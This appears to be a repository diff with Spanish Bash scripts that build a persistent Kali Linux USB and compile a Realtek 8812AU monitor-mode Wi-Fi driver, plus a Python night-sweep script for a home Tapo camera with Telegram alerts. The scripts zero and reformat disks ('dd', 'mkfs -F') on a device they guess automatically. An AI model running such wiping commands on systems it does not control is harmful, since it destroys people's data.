NEW=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
mkfs.ext4 -F -L "persistence" "/dev/$NEW"
PERSIST="/dev/$NEW"
;;
2)
echo "Abrindo GParted..."
echo "1. Selecciona $USB_DEVICE"
echo "2. Redimensiona última partición"
echo "3. Crea ext4 nueva con label 'persistence'"
echo "4. Aplica"
gparted "$USB_DEVICE" 2>/dev/null || gnome-disks "$USB_DEVICE"
PERSIST=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}')
PERSIST="/dev/$PERSIST"
;;
3)
PERSIST=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}')
PERSIST="/dev/$PERSIST"
;;
esac
echo ""
echo "Montando $PERSIST..."
mkdir -p /mnt/usb
mount "$PERSIST" /mnt/usb
if [ ! -f /mnt/usb/persistence.conf ]; then
echo "/ union" > /mnt/usb/persistence.conf
echo "persistence.conf creado"
else
echo "persistence.conf ya existe"
fi
umount /mnt/usb
echo ""
echo "¡Listo! Reinicia y selecciona 'Persistent' en el menú."

207
scripts/kali-setup.sh Normal file
View File

@@ -0,0 +1,207 @@
#!/bin/bash
# =============================================================================
# KALI LINUX — Setup completo: Persistencia + Drivers Realtek 8812AU
# Ejecutar como root desde el USB live de Kali
# =============================================================================
set -e
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
echo -e "${CYAN}============================================${NC}"
echo -e "${CYAN} KALI USB SETUP — Persistencia + 8812AU${NC}"
echo -e "${CYAN}============================================${NC}"
echo ""
# -----------------------------------------------------------
# PASO 1: Detectar el USB
# -----------------------------------------------------------
echo -e "${YELLOW}[1/5] Detectando USB...${NC}"
USB_DEVICE=""
for dev in /dev/sd{b,c,d,e}; do
if [ -b "$dev" ]; then
SIZE=$(lsblk -dn -o SIZE "$dev" 2>/dev/null | tr -d ' ')
FSTYPE=$(lsblk -dn -o FSTYPE "$dev" 2>/dev/null | tr -d ' ')
LABEL=$(lsblk -dn -o LABEL "$dev" 2>/dev/null | tr -d ' ')
echo " $dev — $SIZE — $FSTYPE — $LABEL"
# El USB más grande probablemente es nuestro
USB_DEVICE="$dev"
fi
done
if [ -z "$USB_DEVICE" ]; then
echo -e "${RED} ERROR: No se encontró ningún USB${NC}"
exit 1
fi
echo -e "${GREEN} USB detectado: $USB_DEVICE${NC}"
echo ""
# -----------------------------------------------------------
# PASO 2: Verificar si ya hay persistencia
# -----------------------------------------------------------
echo -e "${YELLOW}[2/5] Verificando persistencia...${NC}"
# Buscar partición etiquetada "persistence"
PERSIST_PART=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}' | head -1)
if [ -n "$PERSIST_PART" ]; then
echo -e "${GREEN} Persistencia ya configurada en /dev/$PERSIST_PART${NC}"
PERSIST_DEVICE="/dev/$PERSIST_PART"
else
echo " No se encontró persistencia. Creando..."
# Encontrar la última partición del USB
LAST_PART=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
echo " Última partición detectada: $LAST_PART"
echo ""
echo -e "${YELLOW} IMPORTANTE: Voy a redimensionar la última partición del USB${NC}"
echo -e "${YELLOW} para crear espacio para persistencia.${NC}"
echo ""
echo " Opciones:"
echo " 1) Usar GParted (recomendado — gráfico)"
echo " 2) Usar fdisk (terminal)"
echo ""
read -p " ¿Qué prefieres? [1/2]: " CHOICE
case $CHOICE in
2)
echo ""
echo " Abriendo fdisk en $USB_DEVICE..."
echo " Instrucciones:"
echo " - 'd' para borrar la última partición"
echo " - 'n' para crear nueva partición (más pequeña)"
echo " - 'n' de nuevo para crear partición de persistencia con el espacio restante"
echo " - 'w' para guardar"
echo ""
fdisk "$USB_DEVICE"
# Después de fdisk, detectar la nueva partición
sleep 2
NEW_PART=$(lsblk -dn -o NAME "$USB_DEVICE" | tail -1 | sed 's/.*\([a-z][a-z0-9]*\)$/\1/')
PERSIST_DEVICE="/dev/$NEW_PART"
echo ""
read -p " Formatear $PERSIST_DEVICE como ext4 y etiquetar 'persistence'? [s/N]: " CONFIRM
if [ "$CONFIRM" = "s" ] || [ "$CONFIRM" = "S" ]; then
mkfs.ext4 -F -L "persistence" "$PERSIST_DEVICE"
else
echo " Saltado. Formatea manualmente con: mkfs.ext4 -F -L persistence $PERSIST_DEVICE"
exit 0
fi
;;
*)
echo ""
echo " Abriendo GParted..."
echo " 1. Selecciona $USB_DEVICE"
echo " 2. Redimensiona la última partición (dejando ~4GB para persistencia)"
echo " 3. Crea una partición ext4 nueva con label 'persistence'"
echo " 4. Aplica cambios y cierra GParted"
echo ""
gparted "$USB_DEVICE" 2>/dev/null || gnome-disks "$USB_DEVICE" 2>/dev/null
# Detectar después de GParted
sleep 2
PERSIST_PART=$(lsblk -dn -o NAME,LABEL | grep -i persistence | awk '{print $1}' | head -1)
if [ -z "$PERSIST_PART" ]; then
echo -e "${RED} No se detectó la partición 'persistence'.${NC}"
echo " Asegúrate de que el label sea exactamente 'persistence'"
exit 1
fi
PERSIST_DEVICE="/dev/$PERSIST_PART"
;;
esac
fi
echo -e "${GREEN} Partición de persistencia: $PERSIST_DEVICE${NC}"
echo ""
# -----------------------------------------------------------
# PASO 3: Montar y configurar persistencia
# -----------------------------------------------------------
echo -e "${YELLOW}[3/5] Configurando persistencia...${NC}"
mkdir -p /mnt/usb
mount "$PERSIST_DEVICE" /mnt/usb
# Verificar si ya tiene persistence.conf
if [ -f /mnt/usb/persistence.conf ]; then
echo -e "${GREEN} persistence.conf ya existe:$(cat /mnt/usb/persistence.conf)${NC}"
else
echo "/ union" > /mnt/usb/persistence.conf
echo -e "${GREEN} persistence.conf creado: / union${NC}"
fi
umount /mnt/usb
echo -e "${GREEN} Persistencia configurada OK${NC}"
echo ""
# -----------------------------------------------------------
# PASO 4: Instalar drivers Realtek 8812AU
# -----------------------------------------------------------
echo -e "${YELLOW}[4/5] Instalando drivers Realtek 8812AU...${NC}"
# Instalar dependencias
echo " Instalando dependencias de compilación..."
apt update -qq
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential airmon-ng 2>/dev/null
# Clonar driver
DRIVER_DIR="/opt/rtl8812au"
if [ -d "$DRIVER_DIR" ]; then
echo -e "${GREEN} Driver ya descargado en $DRIVER_DIR${NC}"
cd "$DRIVER_DIR"
git pull -qq 2>/dev/null || true
else
echo " Descargando driver 8812AU..."
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
cd "$DRIVER_DIR"
fi
# Compilar e instalar
echo " Compilando driver..."
make clean 2>/dev/null || true
make
make install
echo -e "${GREEN} Driver 8812AU instalado${NC}"
echo ""
# -----------------------------------------------------------
# PASO 5: Cargar módulo y verificar
# -----------------------------------------------------------
echo -e "${YELLOW}[5/5] Verificando...${NC}"
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || true
if ip link show | grep -q wl; then
WIFI_IF=$(ip link show | grep wl | awk -F: '{print $2}' | tr -d ' ' | head -1)
echo -e "${GREEN} WiFi detectado: $WIFI_IF${NC}"
else
echo -e "${YELLOW} WiFi no detectado aún (puede necesitar reboot)${NC}"
fi
echo ""
echo -e "${CYAN}============================================${NC}"
echo -e "${GREEN} SETUP COMPLETADO${NC}"
echo -e "${CYAN}============================================${NC}"
echo ""
echo " Resumen:"
echo " ✓ Persistencia configurada"
echo " ✓ Drivers Realtek 8812AU instalados"
echo ""
echo " Próximos pasos:"
echo " 1. Reinicia el USB (selecciona 'KDE + Persistent' o 'XFCE + Persistent')"
echo " 2. Al reiniciar, los cambios se guardarán"
echo " 3. Para usar el WiFi: airmon-ng start $WIFI_IF"
echo ""
echo " NOTA: Si el módulo no carga al reiniciar, ejecuta:"
echo " sudo modprobe 8812au"
echo " # o"
echo " sudo modprobe rtl8812au"
echo ""

199
scripts/kali-todo.sh Normal file
View File

@@ -0,0 +1,199 @@
#!/bin/bash
# =============================================================================
# KALI USB COMPLETO: Formateo + Persistencia + Teclado ES + Driver 8812AU
# Ejecutar como root desde Kali live: sudo bash kali-todo.sh
# =============================================================================
set -e
echo "=========================================="
echo " KALI USB — Setup completo"
echo "=========================================="
echo ""
# Detectar USB (el más grande que no es el ISO booteado)
echo "[1/6] Detectando USB..."
BOOT_DEV=$(lsblk -dn -o PKNAME /dev/sda1 2>/dev/null || echo "sda")
for dev in sdb sdc sdd sde; do
if [ -b "/dev/$dev" ]; then
SIZE=$(lsblk -dn -o SIZE "/dev/$dev" 2>/dev/null | tr -d ' ')
SIZE_GB=$(echo "$SIZE" | awk '{gsub(/G/,"",$1); print $1}')
if [ $(echo "$SIZE_GB > 10" | bc 2>/dev/null || echo 0) -eq 1 ] || echo "$SIZE" | grep -qE "[0-9]{2,}G"; then
USB="/dev/$dev"
echo " USB encontrado: $USB ($SIZE)"
break
fi
fi
done
if [ -z "$USB" ]; then
echo " ERROR: No se encontró USB grande. Listando todos:"
lsblk -dn -o NAME,SIZE,MODEL
echo ""
read -p " Escribe el dispositivo (ej: sdb): " USB_NAME
USB="/dev/$USB_NAME"
fi
echo ""
echo "AVISO: Se va a BORRAR TODO el USB: $USB"
echo " Los datos se perderán permanentemente."
echo ""
read -p " ¿Continuar? (escribe BORRAR): " CONFIRM
if [ "$CONFIRM" != "BORRAR" ]; then
echo " Cancelado."
exit 0
fi
# -----------------------------------------------------------
echo ""
echo "[2/6] Limpiando y particionando $USB..."
swapoff -a 2>/dev/null || true
# Limpiar disco
dd if=/dev/zero of="$USB" bs=1M count=10 2>/dev/null
sync
# Crear tabla GPT + 2 particiones
parted -s "$USB" mklabel gpt
parted -s "$USB" mkpart primary fat32 1MiB 4GiB
parted -s "$USB" set 1 boot on
parted -s "$USB" mkpart primary ext4 4GiB 100%
parted -s "$USB" name 2 persistence
sync
sleep 2
# Detectar nombres de particiones
BOOT_PART="${USB}1"
PERSIST_PART="${USB}2"
# Si el kernel usa números en lugar de letras
if [ ! -b "$BOOT_PART" ]; then
BOOT_PART="${USB}p1"
PERSIST_PART="${USB}p2"
fi
echo " Boot: $BOOT_PART"
echo " Persistence: $PERSIST_PART"
# -----------------------------------------------------------
echo ""
echo "[3/6] Formateando particiones..."
mkfs.vfat -F 32 -n KALI "$BOOT_PART"
mkfs.ext4 -F -L persistence "$PERSIST_PART"
# -----------------------------------------------------------
echo ""
echo "[4/6] Montando ISO de Kali y copiando archivos..."
mkdir -p /mnt/iso /mnt/boot /mnt/persist
# Encontrar ISO de Kali
ISO=""
for f in /home/kali/Downloads/*.iso /home/kali/*.iso /tmp/*.iso /run/live/medium/**/*.iso; do
if [ -f "$f" ] && echo "$f" | grep -qi kali; then
ISO="$f"
break
fi
done
if [ -z "$ISO" ]; then
# Intentar montar el medio de booteo actual
if [ -d /run/live/medium ]; then
mount --bind /run/live/medium /mnt/iso
ISO="/mnt/iso"
else
echo " No se encontró ISO. Copia archivos manualmente."
echo " Monta $BOOT_PART en /mnt/boot y copia el contenido de la ISO."
mount "$BOOT_PART" /mnt/boot
mount "$PERSIST_PART" /mnt/persist
echo "/ union" > /mnt/persist/persistence.conf
echo ""
echo " Monta la ISO manualmente:"
echo " sudo mount -o loop kali-xxx.iso /mnt/iso"
echo " sudo cp -r /mnt/iso/* /mnt/boot/"
echo " sudo umount /mnt/iso"
echo ""
echo " Persistence configurada. Sigue con el paso 5."
SKIP_COPY=1
fi
fi
if [ -z "$SKIP_COPY" ]; then
mount "$BOOT_PART" /mnt/boot
mount "$PERSIST_PART" /mnt/persist
# Copiar contenido de ISO al USB
echo " Copiando archivos de boot..."
rsync -ah --progress "$ISO/" /mnt/boot/ 2>/dev/null || cp -r "$ISO"/* /mnt/boot/
# Configurar persistencia
echo "/ union" > /mnt/persist/persistence.conf
# Modificar GRUB para teclado español
echo " Configurando teclado español en GRUB..."
if [ -f /mnt/boot/grub/grub.cfg ]; then
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/grub/grub.cfg
fi
if [ -f /mnt/boot/grub.cfg ]; then
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/grub.cfg
fi
# Syslinux
if [ -f /mnt/boot/isolinux/isolinux.cfg ]; then
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/isolinux/isolinux.cfg
fi
if [ -f /mnt/boot/syslinux/syslinux.cfg ]; then
sed -i 's/quiet/quiet keyboard-configuration\/layoutcode=es/g' /mnt/boot/syslinux/syslinux.cfg
fi
fi
# -----------------------------------------------------------
echo ""
echo "[5/6] Instalando driver Realtek 8812AU..."
apt update -qq
apt install -y -qq dkms linux-headers-$(uname -r) git build-essential bc 2>/dev/null
DRIVER_DIR="/opt/rtl8812au"
if [ -d "$DRIVER_DIR" ]; then
cd "$DRIVER_DIR" && git pull -qq
else
git clone https://github.com/aircrack-ng/rtl8812au.git "$DRIVER_DIR"
cd "$DRIVER_DIR"
fi
make clean 2>/dev/null || true
make
make install
modprobe 8812au 2>/dev/null || modprobe rtl8812au 2>/dev/null || true
echo " Driver 8812AU instalado"
# -----------------------------------------------------------
echo ""
echo "[6/6] Configurando teclado español persistente..."
cat > /mnt/persist/etc/keyboard-setup.sh << 'KBD'
#!/bin/bash
loadkeys es 2>/dev/null || true
setxkbmap es 2>/dev/null || true
KBD
chmod +x /mnt/persist/etc/keyboard-setup.sh 2>/dev/null || true
# Desmontar
umount /mnt/boot /mnt/persist 2>/dev/null || true
umount /mnt/iso 2>/dev/null || true
echo ""
echo "=========================================="
echo " ¡TODO CONFIGURADO!"
echo "=========================================="
echo ""
echo " Resumen:"
echo " ✓ USB particionado (GPT: FAT32 boot + ext4 persistence)"
echo " ✓ Kali Linux instalado en USB"
echo " ✓ Persistencia configurada"
echo " ✓ Teclado español en GRUB"
echo " ✓ Driver Realtek 8812AU compilado e instalado"
echo ""
echo " Para usar:"
echo " 1. Reinicia y arranca desde el USB"
echo " 2. En GRUB, selecciona 'Kali' y pulsa 'e'"
echo " 3. Verifica que 'keyboard-configuration/layoutcode=es' está"
echo " 4. F10 para arrancar"
echo " 5. Los cambios se guardan por la persistencia"
echo ""

221
vigilancia/barrido_nocturno.py Normal file
View File

@@ -0,0 +1,221 @@
#!/usr/bin/env python3
"""Barrido nocturno del Salon (1:00-6:00). Cada 30 min hace un barrido
panoramico L->R y R->L con la camara Tapo del Salon, detectando movimiento
comparando frames (PSNR). Si detecta algo irregular guarda las imagenes en
una carpeta dedicada, lo anota en el log, y manda un aviso DISCRETO a
Telegram (sin alarma/sirena/voz). Independiente del panorama.
Config via .env:
NOCTURNO_ACTIVO (1/0, default 1)
NOCTURNO_INICIO hora inicio (default 1)
NOCTURNO_FIN hora fin (default 6)
NOCTURNO_INTERVALO minutos entre barridos (default 30)
NOCTURNO_PSNR_MIN umbral PSNR (default 25.0; menor = mas diferencia)
NOCTURNO_DIR carpeta de evidencias (default salidas_nocturno)
NOCTURNO_TAPO_USER / NOCTURNO_TAPO_PASS
"""
import os
import sys
import time
import json
import subprocess
from datetime import datetime
BASE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, BASE)
import config
import requests
LOG = os.path.join(BASE, "nocturno.log")
ACTIVO = config.__dict__.get("NOCTURNO_ACTIVO", "1")
try:
ACTIVO = int(os.getenv("NOCTURNO_ACTIVO", "1"))
except Exception:
ACTIVO = 1
INICIO = int(os.getenv("NOCTURNO_INICIO", "1"))
FIN = int(os.getenv("NOCTURNO_FIN", "6"))
INTERVALO = int(os.getenv("NOCTURNO_INTERVALO", "30"))
PSNR_MIN = float(os.getenv("NOCTURNO_PSNR_MIN", "25.0"))
DIR = os.getenv("NOCTURNO_DIR", "salidas_nocturno")
TAPO_USER = os.getenv("NOCTURNO_TAPO_USER", "")
TAPO_PASS = os.getenv("NOCTURNO_TAPO_PASS", "")
TAPO_IP = os.getenv("NOCTURNO_TAPO_IP", "192.168.50.227")
# RTSP del Salon (para frames) - lo tomamos de config.CAMARAS[0] (Salon)
RTSP = None
for cam in config.CAMARAS:
if cam["nombre"].lower() == "salon":
RTSP = cam["rtsp"]
break
if not RTSP and config.CAMARAS:
RTSP = config.CAMARAS[0]["rtsp"]
SNAPSHOTS = os.path.join(DIR, "evidencias")
def log(linea):
linea = f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} {linea}"
print(linea)
try:
with open(LOG, "a") as f:
f.write(linea + "\n")
except Exception:
pass
def en_rango_horario():
h = datetime.now().hour
if INICIO <= FIN:
return INICIO <= h < FIN
return h >= INICIO or h < FIN
def capturar_frame(ruta, tiempo=6):
os.makedirs(os.path.dirname(ruta), exist_ok=True)
cmd = ["ffmpeg", "-rtsp_transport", "tcp", "-i", RTSP, "-frames:v", "1",
"-q:v", "3", "-y", "-hide_banner", "-loglevel", "error", ruta]
try:
subprocess.run(cmd, timeout=tiempo, check=True)
return os.path.getsize(ruta) > 0
except Exception:
return False
def psnr(a, b):
"""Devuelve PSNR entre dos imagenes (mayor = mas similares)."""
cmd = ["ffmpeg", "-hide_banner", "-i", a, "-i", b,
"-lavfi", "psnr", "-f", "null", "-"]
try:
r = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
txt = r.stderr
for part in txt.split():
if part.startswith("average:"):
try:
return float(part.split(":")[1].split(" ")[0])
except Exception:
pass
except Exception:
pass
return None
def avisar_telegram(texto):
try:
requests.post(
f"https://api.telegram.org/bot{config.TELEGRAM_TOKEN}/sendMessage",
data={"chat_id": config.TELEGRAM_CHAT_ID, "text": texto,
"parse_mode": "HTML"},
timeout=10)
except Exception as e:
log(f"ERR telegram: {e}")
def mover_motor(angulo):
"""Mueve el motor de la camara un paso. Retorna True si ok."""
try:
from pytapo import Tapo
except Exception as e:
log(f"ERR pytapo import para mover: {e}")
return False
try:
t = Tapo(TAPO_IP, TAPO_USER, TAPO_PASS)
t.moveMotorStep(angulo)
return True
except Exception as e:
log(f"ERR moviendo motor {angulo}: {e}")
return False
def barrido(primer_paso, ultimo_paso, paso, prefijo):
"""Barre desde primer_paso hasta ultimo_paso. En cada posicion:
dispara 2 frames c/1.5s y compara PSNR. Devuelve lista de instantes
con irregularidad: (angulo, frame_a, frame_b, psnr)."""
incidentes = []
ang = primer_paso
ruta = 0
while True:
ruta += 1
nombre = f"{prefijo}_paso{ruta}_ang{ang}"
mover_motor(ang)
time.sleep(2) # esperar a que estabilice el giro
fa = os.path.join(SNAPSHOTS, f"{nombre}_A.jpg")
fb = os.path.join(SNAPSHOTS, f"{nombre}_B.jpg")
ok_a = capturar_frame(fa)
time.sleep(1.5)
ok_b = capturar_frame(fb)
if ok_a and ok_b:
p = psnr(fa, fb)
log(f"[{prefijo}] ang {ang}: PSNR={p}")
if p is not None and p < PSNR_MIN:
incidentes.append({"angulo": ang, "frame_a": fa,
"frame_b": fb, "psnr": p})
else:
log(f"[{prefijo}] ang {ang}: fallo captura")
if ang == ultimo_paso:
break
ang += paso if primer_paso < ultimo_paso else -paso
return incidentes
def ejecutar_barrido():
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
log("=" * 50)
log(f"Barrido nocturno iniciado {ts}")
if not RTSP:
log("No hay RTSP del Salon configurado")
return
if not TAPO_USER or not TAPO_PASS:
log("Faltan credenciales Tapo (NOCTURNO_TAPO_USER/PASS)")
return
# Barrido izquierda -> derecha (por defecto de angulo 20 a 270)
inc_a = barrido(20, 270, 50, f"ida_{ts}")
# Barrido derecha -> izquierda
inc_b = barrido(270, 20, -50, f"vuelta_{ts}")
todas = inc_a + inc_b
if todas:
log(f"*** IRREGULARIDADES detectadas: {len(todas)}")
# guardar un resumen JSON
resumen = {
"timestamp": ts,
"psnr_min": PSNR_MIN,
"incidentes": [
{"angulo": i["angulo"], "psnr": i["psnr"],
"frame_a": i["frame_a"], "frame_b": i["frame_b"]}
for i in todas
],
}
os.makedirs(DIR, exist_ok=True)
ruta_json = os.path.join(DIR, f"incidentes_{ts}.json")
with open(ruta_json, "w") as f:
json.dump(resumen, f, indent=2)
log(f"Guardado resumen en {ruta_json}")
avisar_telegram(
f"👻 <b>Barrido nocturno</b> detectó {len(todas)} instante(s) "
f"irregular(es) en el Salón ({ts}).\n"
f"Evidencias guardadas. Revisión en la mañana.")
else:
log("Barrido completado: sin irregularidades")
log("=" * 50)
def bucle():
log(f"Barrido nocturno activo (rango {INICIO}:00-{FIN}:00, cada {INTERVALO} min)")
ultimo = None
while True:
if en_rango_horario():
ahora = datetime.now()
clave = f"{ahora.hour}:{ahora.minute // INTERVALO}"
if clave != ultimo:
ultimo = clave
ejecutar_barrido()
time.sleep(60)
else:
ultimo = None
time.sleep(120)
if __name__ == "__main__":
if not ACTIVO:
print("Barrido nocturno desactivado (NOCTURNO_ACTIVO=0)")
sys.exit(0)
bucle()